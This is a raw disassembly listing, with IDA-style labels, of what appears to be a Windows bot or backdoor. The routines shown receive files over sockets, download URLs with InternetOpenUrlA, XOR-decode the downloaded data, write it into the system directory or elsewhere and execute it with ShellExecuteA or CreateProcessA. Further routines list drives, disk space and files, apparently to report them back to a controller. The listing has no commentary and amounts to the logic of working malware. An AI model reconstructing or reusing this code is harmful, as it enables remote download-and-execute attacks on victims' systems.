cmp [ebp+var_50], esi
jnz short loc_4166C5
push esi
lea eax, [ebp+var_3FC]
push [ebp+var_54]
push eax
lea eax, [ebp+var_DC]
push eax
push [ebp+var_1FC]
call sub_409982
add esp, 14h
loc_4166C5: ; CODE XREF: sub_416398+30Bj
lea eax, [ebp+var_3FC]
push eax
call sub_4157A5
cmp edi, esi
pop ecx
jbe short loc_4166DD
push edi
call dword_4CDCFC ; closesocket
loc_4166DD: ; CODE XREF: sub_416398+33Cj
push [ebp+var_1F8]
call dword_4CDCFC ; closesocket
push [ebp+var_58]
call sub_40B2A3
pop ecx
push esi
call dword_4280CC ; ExitThread
loc_4166F9: ; CODE XREF: sub_416398+2AFj
; sub_416398+2BAj
push esi
mov esi, offset dword_43A15C
push [ebp+var_54]
lea eax, [ebp+var_DC]
push esi
push eax
push [ebp+var_1FC]
call sub_409982
push esi
call sub_4157A5
add esp, 18h
push [ebp+var_1F8]
call dword_4CDCFC ; closesocket
push [ebp+var_58]
call sub_40B2A3
pop ecx
push ebx
call dword_4280CC ; ExitThread
sub_416398 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41673A proc near ; DATA XREF: sub_401B66+727o
var_14C4 = byte ptr -14C4h
var_4C4 = byte ptr -4C4h
var_2C4 = byte ptr -2C4h
var_1C0 = dword ptr -1C0h
var_1B8 = byte ptr -1B8h
var_1A4 = byte ptr -1A4h
var_A0 = byte ptr -0A0h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 14C4h
call sub_41C2F0
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 6Dh
mov esi, eax
pop ecx
lea edi, [ebp+var_1C0]
rep movsd
xor esi, esi
xor ebx, ebx
inc esi
push 104h
mov [eax+1B0h], esi
lea eax, [ebp+var_2C4]
push eax
mov [ebp+var_8], ebx
call dword_428078 ; GetSystemDirectoryA
lea eax, [ebp+var_1A4]
push eax
lea eax, [ebp+var_2C4]
push eax
lea eax, [ebp+var_2C4]
push offset dword_42AB10
push eax
call sub_41C056
add esp, 10h
lea eax, [ebp+var_2C4]
push ebx
push 80h
push 2
push ebx
push esi
push 40000000h
push eax
call dword_4280EC ; CreateFileA
cmp eax, 0FFFFFFFFh
jnz short loc_4167C4
push offset unk_43A2D8
jmp short loc_41680A
; ---------------------------------------------------------------------------
loc_4167C4: ; CODE XREF: sub_41673A+81j
push eax
call dword_42806C ; CloseHandle
lea eax, [ebp+var_2C4]
push offset aAB ; "a+b"
push eax
call sub_41BC92
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+var_4], eax
jnz short loc_4167EC
push offset unk_43A2A8
jmp short loc_41680A
; ---------------------------------------------------------------------------
loc_4167EC: ; CODE XREF: sub_41673A+A9j
push [ebp+var_20]
lea eax, [ebp+var_1B8]
push eax
call sub_417C50
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
mov [ebp+arg_0], eax
jnz short loc_41681D
push offset unk_43A288
loc_41680A: ; CODE XREF: sub_41673A+88j
; sub_41673A+B0j
lea eax, [ebp+var_4C4]
push eax
call sub_41C056
pop ecx
pop ecx
jmp loc_416917
; ---------------------------------------------------------------------------
loc_41681D: ; CODE XREF: sub_41673A+C9j
mov esi, 1000h
loc_416822: ; CODE XREF: sub_41673A+14Ej
push esi
lea eax, [ebp+var_14C4]
push ebx
push eax
call sub_41BD60
add esp, 0Ch
lea eax, [ebp+var_14C4]
push ebx
push esi
push eax
push [ebp+arg_0]
call dword_4CDC7C ; recv
mov edi, eax
cmp edi, ebx
jz loc_4168E9
cmp edi, 0FFFFFFFFh
jz short loc_41688A
push [ebp+var_4]
lea eax, [ebp+var_14C4]
push edi
push 1
push eax
call sub_41DAB4
add [ebp+var_8], edi
add esp, 10h
push [ebp+var_8]
call dword_4CDC60 ; ntohl
mov [ebp+var_C], eax
push ebx
lea eax, [ebp+var_C]
push 4
push eax
push [ebp+arg_0]
call dword_4CDCB4 ; send
jmp short loc_416822
; ---------------------------------------------------------------------------
loc_41688A: ; CODE XREF: sub_41673A+118j
lea eax, [ebp+var_4C4]
push offset dword_43A15C
push eax
call sub_41C056
push ebx
lea eax, [ebp+var_4C4]
push [ebp+var_18]
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+var_1C0]
call sub_409982
lea eax, [ebp+var_4C4]
push eax
call sub_4157A5
push [ebp+var_4]
call sub_41B82B
add esp, 24h
push [ebp+arg_0]
call dword_4CDCFC ; closesocket
push [ebp+var_1C]
call sub_40B2A3
pop ecx
push 1
call dword_4280CC ; ExitThread
loc_4168E9: ; CODE XREF: sub_41673A+10Fj
mov eax, [ebp+var_8]
cdq
push edx
push eax
call sub_416E8B
push eax
lea eax, [ebp+var_1B8]
push eax
lea eax, [ebp+var_1A4]
push eax
lea eax, [ebp+var_4C4]
push offset unk_43A25C
push eax
call sub_41C056
add esp, 1Ch
loc_416917: ; CODE XREF: sub_41673A+DEj
cmp [ebp+var_14], ebx
jnz short loc_41693C
push ebx
lea eax, [ebp+var_4C4]
push [ebp+var_18]
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+var_1C0]
call sub_409982
add esp, 14h
loc_41693C: ; CODE XREF: sub_41673A+1E0j
lea eax, [ebp+var_4C4]
push eax
call sub_4157A5
cmp [ebp+var_4], ebx
pop ecx
jz short loc_416957
push [ebp+var_4]
call sub_41B82B
pop ecx
loc_416957: ; CODE XREF: sub_41673A+212j
cmp [ebp+arg_0], ebx
jbe short loc_416965
push [ebp+arg_0]
call dword_4CDCFC ; closesocket
loc_416965: ; CODE XREF: sub_41673A+220j
push [ebp+var_1C]
call sub_40B2A3
pop ecx
push ebx
call dword_4280CC ; ExitThread
sub_41673A endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416975 proc near ; DATA XREF: sub_401B66+6195o
; sub_401B66+69BDo
var_590 = qword ptr -590h
var_584 = qword ptr -584h
var_510 = byte ptr -510h
var_310 = dword ptr -310h
var_304 = dword ptr -304h
var_2E4 = dword ptr -2E4h
var_2E0 = word ptr -2E0h
var_2CC = dword ptr -2CCh
var_2C8 = byte ptr -2C8h
var_248 = byte ptr -248h
var_148 = byte ptr -148h
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_24 = byte ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = byte ptr -10h
var_8 = qword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 510h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
mov ecx, 0AAh
mov esi, eax
lea edi, [ebp+var_2CC]
rep movsd
xor edi, edi
xor esi, esi
inc edi
push esi
mov [eax+2A4h], edi
push esi
push esi
lea eax, [ebp+var_248]
push esi
push eax
push dword_4CDC14
call dword_4CDB68 ; InternetOpenUrlA
cmp eax, esi
mov [ebp+var_18], eax
jz loc_416DEE
push esi
push esi
push 2
push esi
push esi
lea eax, [ebp+var_148]
push 40000000h
push eax
call dword_4280EC ; CreateFileA
cmp eax, edi
mov [ebp+var_20], eax
jnb short loc_416A3C
lea eax, [ebp+var_148]
push eax
lea eax, [ebp+var_510]
push offset unk_43A4A4
push eax
call sub_41C056
add esp, 0Ch
cmp [ebp+var_30], esi
jnz short loc_416A1F
push esi
lea eax, [ebp+var_510]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_2CC]
call sub_409982
add esp, 14h
loc_416A1F: ; CODE XREF: sub_416975+88j
lea eax, [ebp+var_510]
push eax
call sub_4157A5
push [ebp+var_48]
call sub_40B2A3
pop ecx
pop ecx
push esi
call dword_4280CC ; ExitThread
loc_416A3C: ; CODE XREF: sub_416975+68j
xor edi, edi
call dword_4280A8 ; GetTickCount
mov ebx, 7D000h
mov dword ptr [ebp+var_8+4], eax
push ebx
call sub_41BCA5
pop ecx
mov [ebp+var_1C], eax
loc_416A56: ; CODE XREF: sub_416975+1A9j
push 200h
lea eax, [ebp+var_510]
push esi
push eax
call sub_41BD60
add esp, 0Ch
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_510]
push 200h
push eax
push [ebp+var_18]
call dword_4CDB70 ; InternetReadFile
cmp [ebp+var_34], esi
jz short loc_416A9A
push [ebp+arg_0]
lea eax, [ebp+var_510]
push eax
call sub_416E54
pop ecx
pop ecx
loc_416A9A: ; CODE XREF: sub_416975+112j
lea eax, [ebp+var_24]
push esi
push eax
lea eax, [ebp+var_510]
push [ebp+arg_0]
push eax
push [ebp+var_20]
call dword_4280E0 ; WriteFile
cmp edi, ebx
jnb short loc_416AD8
mov eax, ebx
sub eax, edi
cmp eax, [ebp+arg_0]
jbe short loc_416AC2
mov eax, [ebp+arg_0]
loc_416AC2: ; CODE XREF: sub_416975+148j
push eax
lea eax, [ebp+var_510]
push eax
mov eax, [ebp+var_1C]
add eax, edi
push eax
call near ptr sub_41CAE0
add esp, 0Ch
loc_416AD8: ; CODE XREF: sub_416975+13Fj
add edi, [ebp+arg_0]
cmp [ebp+var_3C], esi
jz short loc_416AE5
cmp edi, [ebp+var_3C]
ja short loc_416B24
loc_416AE5: ; CODE XREF: sub_416975+169j
mov eax, edi
shr eax, 0Ah
push eax
lea eax, [ebp+var_248]
push eax
mov eax, [ebp+var_48]
imul eax, 234h
add eax, offset dword_440998
cmp [ebp+var_44], 1
jz short loc_416B0D
push offset unk_43A47C
jmp short loc_416B12
; ---------------------------------------------------------------------------
loc_416B0D: ; CODE XREF: sub_416975+18Fj
push offset unk_43A454
loc_416B12: ; CODE XREF: sub_416975+196j
push eax
call sub_41C056
add esp, 10h
cmp [ebp+arg_0], esi
ja loc_416A56
loc_416B24: ; CODE XREF: sub_416975+16Ej
cmp [ebp+var_3C], esi
mov [ebp+var_14], 1
jz short loc_416B79
cmp edi, [ebp+var_3C]
jz short loc_416B79
push [ebp+var_3C]
lea eax, [ebp+var_510]
mov [ebp+var_14], esi
push edi
push offset unk_43A428
push eax
call sub_41C056
push esi
lea eax, [ebp+var_510]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_2CC]
call sub_409982
lea eax, [ebp+var_510]
push eax
call sub_4157A5
add esp, 28h
loc_416B79: ; CODE XREF: sub_416975+1B9j
; sub_416975+1BEj
call dword_4280A8 ; GetTickCount
sub eax, dword ptr [ebp+var_8+4]
xor edx, edx
mov ecx, 3E8h
push [ebp+var_20]
div ecx
xor edx, edx
mov ecx, eax
mov eax, edi
inc ecx
div ecx
mov ebx, eax
call dword_42806C ; CloseHandle
push [ebp+var_1C]
call sub_41B881
cmp [ebp+var_38], esi
pop ecx
jz short loc_416C03
lea eax, [ebp+var_148]
push eax
call sub_4010C2
cmp eax, [ebp+var_38]
pop ecx
jz short loc_416C03
push [ebp+var_38]
mov [ebp+var_14], esi
push eax
lea eax, [ebp+var_510]
push offset unk_43A400
push eax
call sub_41C056
push esi
lea eax, [ebp+var_510]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_2CC]
call sub_409982
lea eax, [ebp+var_510]
push eax
call sub_4157A5
add esp, 28h
loc_416C03: ; CODE XREF: sub_416975+236j
; sub_416975+248j
cmp [ebp+var_14], esi
jz loc_416E3B
cmp [ebp+var_44], 1
push ecx
lea eax, [ebp+var_148]
push ecx
jz loc_416CFE
mov dword ptr [ebp+var_8], ebx
mov dword ptr [ebp+var_8+4], esi
fild [ebp+var_8]
mov dword ptr [ebp+var_8], edi
mov dword ptr [ebp+var_8+4], esi
fmul dbl_4286B0
fstp [esp+584h+var_584]
fild [ebp+var_8]
push eax
push ecx
push ecx
lea eax, [ebp+var_510]
fmul dbl_4286B0
fstp [esp+590h+var_590]
push offset unk_43A3C8
push eax
call sub_41C056
add esp, 1Ch
cmp [ebp+var_30], esi
jnz short loc_416C7E
push esi
lea eax, [ebp+var_510]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_2CC]
call sub_409982
add esp, 14h
loc_416C7E: ; CODE XREF: sub_416975+2E7j
lea eax, [ebp+var_510]
push eax
call sub_4157A5
cmp [ebp+var_40], 1
pop ecx
jnz loc_416E3B
push 5
push esi
lea eax, [ebp+var_148]
push esi
push eax
push offset aOpen ; "open"
push esi
call dword_4CDBD0 ; ShellExecuteA
cmp [ebp+var_30], esi
jnz loc_416E3B
lea eax, [ebp+var_148]
push eax
lea eax, [ebp+var_510]
push offset dword_43A3AC
push eax
call sub_41C056
push esi
lea eax, [ebp+var_510]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_2CC]
call sub_409982
lea eax, [ebp+var_510]
push eax
call sub_4157A5
add esp, 24h
jmp loc_416E3B
; ---------------------------------------------------------------------------
loc_416CFE: ; CODE XREF: sub_416975+2A3j
mov dword ptr [ebp+var_8], ebx
mov dword ptr [ebp+var_8+4], esi
fild [ebp+var_8]
mov dword ptr [ebp+var_8], edi
mov dword ptr [ebp+var_8+4], esi
fmul dbl_4286B0
fstp [esp+584h+var_584]
fild [ebp+var_8]
push eax
push ecx
push ecx
lea eax, [ebp+var_510]
fmul dbl_4286B0
fstp [esp+590h+var_590]
push offset unk_43A368
push eax
call sub_41C056
add esp, 1Ch
cmp [ebp+var_30], esi
jnz short loc_416D5E
push esi
lea eax, [ebp+var_510]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_2CC]
call sub_409982
add esp, 14h
loc_416D5E: ; CODE XREF: sub_416975+3C7j
lea eax, [ebp+var_510]
push eax
call sub_4157A5
push 10h
lea eax, [ebp+var_10]
push esi
push eax
call sub_41BD60
push 44h
lea eax, [ebp+var_310]
pop edi
push edi
push esi
push eax
call sub_41BD60
add esp, 1Ch
lea eax, [ebp+var_10]
mov [ebp+var_310], edi
xor edi, edi
push eax
lea eax, [ebp+var_310]
push eax
push esi
push esi
push 28h
push esi
push esi
lea eax, [ebp+var_148]
push esi
inc edi
push eax
push esi
mov [ebp+var_304], offset byte_43FE14
mov [ebp+var_2E4], edi
mov [ebp+var_2E0], si
call dword_428070 ; CreateProcessA
cmp eax, edi
jnz short loc_416DE0
call dword_4CDBBC ; WSACleanup
call sub_418A34
push esi
call dword_428068 ; ExitProcess
loc_416DE0: ; CODE XREF: sub_416975+457j
lea eax, [ebp+var_148]
push eax
push offset unk_43A334
jmp short loc_416DFA
; ---------------------------------------------------------------------------
loc_416DEE: ; CODE XREF: sub_416975+45j
lea eax, [ebp+var_248]
push eax
push offset unk_43A308
loc_416DFA: ; CODE XREF: sub_416975+477j
lea eax, [ebp+var_510]
push eax
call sub_41C056
add esp, 0Ch
cmp [ebp+var_30], esi
jnz short loc_416E2E
push esi
lea eax, [ebp+var_510]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_2CC]
call sub_409982
add esp, 14h
loc_416E2E: ; CODE XREF: sub_416975+497j
lea eax, [ebp+var_510]
push eax
call sub_4157A5
pop ecx
loc_416E3B: ; CODE XREF: sub_416975+291j
; sub_416975+31Aj ...
push [ebp+var_18]
call dword_4CDC98 ; InternetCloseHandle
push [ebp+var_48]
call sub_40B2A3
pop ecx
push esi
call dword_4280CC ; ExitThread
sub_416975 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_416E54 proc near ; CODE XREF: sub_416975+11Ep
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
xor ecx, ecx
cmp [esp+arg_4], ecx
jle short locret_416E70
loc_416E60: ; CODE XREF: sub_416E54+1Aj
mov dl, byte_42A090
xor [ecx+eax], dl
inc ecx
cmp ecx, [esp+arg_4]
jl short loc_416E60
locret_416E70: ; CODE XREF: sub_416E54+Aj
retn
sub_416E54 endp
; =============== S U B R O U T I N E =======================================
sub_416E71 proc near ; CODE XREF: sub_401B66+5760p
; sub_401B66+58A2p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
push [esp+4+arg_0]
call sub_41DBBE
pop ecx
pop ecx
xor ecx, ecx
cmp eax, 0FFFFFFFFh
setnz cl
mov eax, ecx
retn
sub_416E71 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416E8B proc near ; CODE XREF: sub_4101B7+462p
; sub_4101B7+5FEp ...
var_38 = byte ptr -38h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 38h
and [ebp+var_4], 0
push ebx
push esi
push edi
push 32h
mov edi, offset dword_4D5964
push 0
push edi
call sub_41BD60
mov ebx, [ebp+arg_0]
add esp, 0Ch
lea esi, [ebp+var_38]
loc_416EB0: ; CODE XREF: sub_416E8B+5Bj
; sub_416E8B+61j
push 0
push 0Ah
push [ebp+arg_4]
push ebx
call sub_41DC80
push 0
push 0Ah
push [ebp+arg_4]
add al, 30h
mov [esi], al
inc esi
push ebx
call sub_41DC10
mov ebx, eax
or eax, edx
mov [ebp+arg_4], edx
jz short loc_416EEE
inc [ebp+var_4]
push 3
mov eax, [ebp+var_4]
pop ecx
cdq
idiv ecx
test edx, edx
jnz short loc_416EB0
mov byte ptr [esi], 2Ch
inc esi
jmp short loc_416EB0
; ---------------------------------------------------------------------------
loc_416EEE: ; CODE XREF: sub_416E8B+4Bj
mov eax, edi
jmp short loc_416EF7
; ---------------------------------------------------------------------------
loc_416EF2: ; CODE XREF: sub_416E8B+72j
mov cl, [esi]
mov [eax], cl
inc eax
loc_416EF7: ; CODE XREF: sub_416E8B+65j
dec esi
lea ecx, [ebp+var_38]
cmp esi, ecx
jnb short loc_416EF2
and byte ptr [eax], 0
mov eax, edi
pop edi
pop esi
pop ebx
leave
retn
sub_416E8B endp
; =============== S U B R O U T I N E =======================================
sub_416F09 proc near ; CODE XREF: sub_4170B5+51p
; sub_4170B5+87p
arg_0 = dword ptr 4
push [esp+arg_0]
call dword_4CDCC4 ; GetDriveTypeA
sub eax, 0
jz short loc_416F4C
dec eax
jz short loc_416F46
dec eax
dec eax
jz short loc_416F40
dec eax
jz short loc_416F3A
dec eax
jz short loc_416F34
dec eax
jz short loc_416F2E
mov eax, offset word_43A4F8
retn
; ---------------------------------------------------------------------------
loc_416F2E: ; CODE XREF: sub_416F09+1Dj
mov eax, offset off_43A4F4
retn
; ---------------------------------------------------------------------------
loc_416F34: ; CODE XREF: sub_416F09+1Aj
mov eax, offset aCdrom ; "Cdrom"
retn
; ---------------------------------------------------------------------------
loc_416F3A: ; CODE XREF: sub_416F09+17j
mov eax, offset aNetwork ; "Network"
retn
; ---------------------------------------------------------------------------
loc_416F40: ; CODE XREF: sub_416F09+14j
mov eax, offset aDisk ; "Disk"
retn
; ---------------------------------------------------------------------------
loc_416F46: ; CODE XREF: sub_416F09+10j
mov eax, offset aInvalid ; "Invalid"
retn
; ---------------------------------------------------------------------------
loc_416F4C: ; CODE XREF: sub_416F09+Dj
mov eax, offset aUnknown ; "Unknown"
retn
sub_416F09 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416F52 proc near ; CODE XREF: sub_416F9A+12p
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 18h
or eax, 0FFFFFFFFh
mov [ebp+var_18], eax
mov [ebp+var_14], eax
mov [ebp+var_10], eax
mov [ebp+var_C], eax
mov [ebp+var_8], eax
mov [ebp+var_4], eax
mov eax, dword_4CDB54
test eax, eax
jz short loc_416F87
lea ecx, [ebp+var_10]
push ecx
lea ecx, [ebp+var_8]
push ecx
lea ecx, [ebp+var_18]
push ecx
push [ebp+arg_4]
call eax ; GetDiskFreeSpaceExA
loc_416F87: ; CODE XREF: sub_416F52+22j
mov eax, [ebp+arg_0]
push esi
push edi
push 6
pop ecx
lea esi, [ebp+var_18]
mov edi, eax
rep movsd
pop edi
pop esi
leave
retn
sub_416F52 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416F9A proc near ; CODE XREF: sub_4170B5+17p
; sub_41B1FC+1F3p
var_198 = byte ptr -198h
var_118 = byte ptr -118h
var_98 = byte ptr -98h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 198h
push esi
push edi
push [ebp+arg_4]
lea eax, [ebp+var_18]
push eax
call sub_416F52
pop ecx
mov esi, eax
pop ecx
lea edi, [ebp+var_18]
push 6
pop ecx
rep movsd
mov eax, [ebp+var_18]
and eax, [ebp+var_14]
cmp eax, 0FFFFFFFFh
jz loc_417072
mov eax, [ebp+var_10]
and eax, [ebp+var_C]
cmp eax, 0FFFFFFFFh
jz loc_417072
mov eax, [ebp+var_8]
and eax, [ebp+var_4]
cmp eax, 0FFFFFFFFh
jz loc_417072
push ebx
mov ebx, 400h
push 0
push ebx
push [ebp+var_14]
push [ebp+var_18]
call sub_41DD00
push edx
push eax
call sub_416E8B
mov edi, offset aSkb ; "%sKB"
push eax
mov esi, 80h
push edi
lea eax, [ebp+var_198]
push esi
push eax
call sub_41C150
add esp, 18h
push 0
push ebx
push [ebp+var_C]
push [ebp+var_10]
call sub_41DD00
push edx
push eax
call sub_416E8B
push eax
push edi
lea eax, [ebp+var_118]
push esi
push eax
call sub_41C150
add esp, 18h
push 0
push ebx
push [ebp+var_4]
push [ebp+var_8]
call sub_41DD00
push edx
push eax
call sub_416E8B
push eax
push edi
lea eax, [ebp+var_98]
push esi
push eax
call sub_41C150
add esp, 18h
pop ebx
jmp short loc_4170A1
; ---------------------------------------------------------------------------
loc_417072: ; CODE XREF: sub_416F9A+2Cj
; sub_416F9A+3Bj ...
mov esi, offset aFailed ; "failed"
lea eax, [ebp+var_198]
push esi
push eax
call sub_41C056
lea eax, [ebp+var_118]
push esi
push eax
call sub_41C056
lea eax, [ebp+var_98]
push esi
push eax
call sub_41C056
add esp, 18h
loc_4170A1: ; CODE XREF: sub_416F9A+D6j
mov eax, [ebp+arg_0]
push 60h
pop ecx
lea esi, [ebp+var_198]
mov edi, eax
rep movsd
pop edi
pop esi
leave
retn
sub_416F9A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4170B5 proc near ; CODE XREF: sub_417187+17p
; sub_417187+60p
var_500 = byte ptr -500h
var_300 = byte ptr -300h
var_180 = byte ptr -180h
var_100 = byte ptr -100h
var_80 = byte ptr -80h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 500h
push ebx
mov ebx, [ebp+arg_C]
push esi
push edi
lea eax, [ebp+var_300]
push ebx
push eax
call sub_416F9A
push 60h
mov esi, eax
pop ecx
lea edi, [ebp+var_300]
rep movsd
push 60h
lea esi, [ebp+var_300]
pop ecx
lea edi, [ebp+var_180]
lea eax, [ebp+var_80]
push offset aFailed ; "failed"
rep movsd
push eax
call sub_41C840
add esp, 10h
test eax, eax
jnz short loc_417128
push ebx
push ebx
call sub_416F09
pop ecx
push eax
push offset unk_43A548
lea eax, [ebp+var_500]
push 200h
push eax
call sub_41C150
add esp, 14h
jmp short loc_41715C
; ---------------------------------------------------------------------------
loc_417128: ; CODE XREF: sub_4170B5+4Dj
lea eax, [ebp+var_180]
push eax
lea eax, [ebp+var_100]
push eax
lea eax, [ebp+var_80]
push eax
push ebx
push ebx
call sub_416F09
pop ecx
push eax
push offset unk_43A50C
lea eax, [ebp+var_500]
push 200h
push eax
call sub_41C150
add esp, 20h
loc_41715C: ; CODE XREF: sub_4170B5+71j
push 1
lea eax, [ebp+var_500]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409982
lea eax, [ebp+var_500]
push eax
call sub_4157A5
add esp, 18h
pop edi
pop esi
pop ebx
leave
retn
sub_4170B5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417187 proc near ; CODE XREF: sub_401B66+24BBp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ebx
xor ebx, ebx
cmp [ebp+arg_C], ebx
jz short loc_4171A8
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4170B5
add esp, 10h
jmp short loc_417207
; ---------------------------------------------------------------------------
loc_4171A8: ; CODE XREF: sub_417187+9j
push esi
push edi
push ebx
push ebx
call dword_4CDBCC ; GetLogicalDriveStringsA
lea esi, [eax+2]
push esi
call sub_41BCA5
pop ecx
mov edi, eax
push edi
push esi
call dword_4CDBCC ; GetLogicalDriveStringsA
cmp [edi], bl
mov esi, edi
jz short loc_4171FE
loc_4171CC: ; CODE XREF: sub_417187+75j
push offset aA_3 ; "A:\\"
push esi
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz short loc_4171EF
push esi
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4170B5
add esp, 10h
loc_4171EF: ; CODE XREF: sub_417187+54j
push esi
call sub_41B7B0
lea esi, [esi+eax+1]
pop ecx
cmp [esi], bl
jnz short loc_4171CC
loc_4171FE: ; CODE XREF: sub_417187+43j
push edi
call sub_41B881
pop ecx
pop edi
pop esi
loc_417207: ; CODE XREF: sub_417187+1Fj
pop ebx
pop ebp
retn
sub_417187 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41720A proc near ; DATA XREF: sub_401B66+67A3o
var_49C = byte ptr -49Ch
var_29C = dword ptr -29Ch
var_298 = byte ptr -298h
var_218 = byte ptr -218h
var_115 = byte ptr -115h
var_114 = byte ptr -114h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 49Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
mov ecx, 0A7h
mov esi, eax
lea edi, [ebp+var_29C]
rep movsd
mov dword ptr [eax+298h], 1
lea eax, [ebp+var_114]
push eax
call sub_41B7B0
xor ebx, ebx
cmp [ebp+eax+var_115], 5Ch
pop ecx
jnz short loc_41725F
lea eax, [ebp+var_114]
push eax
call sub_41B7B0
pop ecx
mov [ebp+eax+var_115], bl
loc_41725F: ; CODE XREF: sub_41720A+3Fj
lea eax, [ebp+var_218]
push eax
push offset unk_43A5A8
lea eax, [ebp+var_49C]
push 200h
push eax
call sub_41C150
add esp, 10h
cmp [ebp+var_8], ebx
jnz short loc_4172A4
push ebx
lea eax, [ebp+var_49C]
push [ebp+var_C]
push eax
lea eax, [ebp+var_298]
push eax
push [ebp+var_29C]
call sub_409982
add esp, 14h
loc_4172A4: ; CODE XREF: sub_41720A+78j
lea eax, [ebp+var_114]
push ebx
push eax
lea eax, [ebp+var_218]
push eax
lea eax, [ebp+var_298]
push [ebp+var_C]
push eax
push [ebp+var_29C]
call sub_417322
push eax
lea eax, [ebp+var_49C]
push offset dword_43A588
push eax
call sub_41C056
add esp, 24h
cmp [ebp+var_8], ebx
jnz short loc_417302
push ebx
lea eax, [ebp+var_49C]
push [ebp+var_C]
push eax
lea eax, [ebp+var_298]
push eax
push [ebp+var_29C]
call sub_409982
add esp, 14h
loc_417302: ; CODE XREF: sub_41720A+D6j
lea eax, [ebp+var_49C]
push eax
call sub_4157A5
push [ebp+var_10]
call sub_40B2A3
pop ecx
pop ecx
push ebx
call dword_4280CC ; ExitThread
pop edi
pop esi
pop ebx
sub_41720A endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417322 proc near ; CODE XREF: sub_41720A+B9p
; sub_417322+9Ep
var_54C = byte ptr -54Ch
var_34C = byte ptr -34Ch
var_248 = byte ptr -248h
var_144 = byte ptr -144h
var_118 = byte ptr -118h
var_117 = byte ptr -117h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 54Ch
push ebx
push esi
push edi
mov esi, 104h
push [ebp+arg_10]
lea eax, [ebp+var_248]
push offset dword_43A5EC
push esi
push eax
call sub_41C150
mov edi, dword_428000
add esp, 10h
lea eax, [ebp+var_144]
push eax
lea eax, [ebp+var_248]
push eax
call edi ; FindFirstFileA
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
mov ebx, offset dword_42AB08
jz short loc_4173DF
loc_41736E: ; CODE XREF: sub_417322+BBj
test [ebp+var_144], 10h
jz short loc_4173CB
cmp [ebp+var_118], 2Eh
jnz short loc_417392
cmp [ebp+var_117], 0
jz short loc_4173CB
cmp [ebp+var_117], 2Eh
jz short loc_4173CB
loc_417392: ; CODE XREF: sub_417322+5Cj
lea eax, [ebp+var_118]
push eax
lea eax, [ebp+var_34C]
push [ebp+arg_10]
push ebx
push esi
push eax
call sub_41C150
push [ebp+arg_14]
lea eax, [ebp+var_34C]
push eax
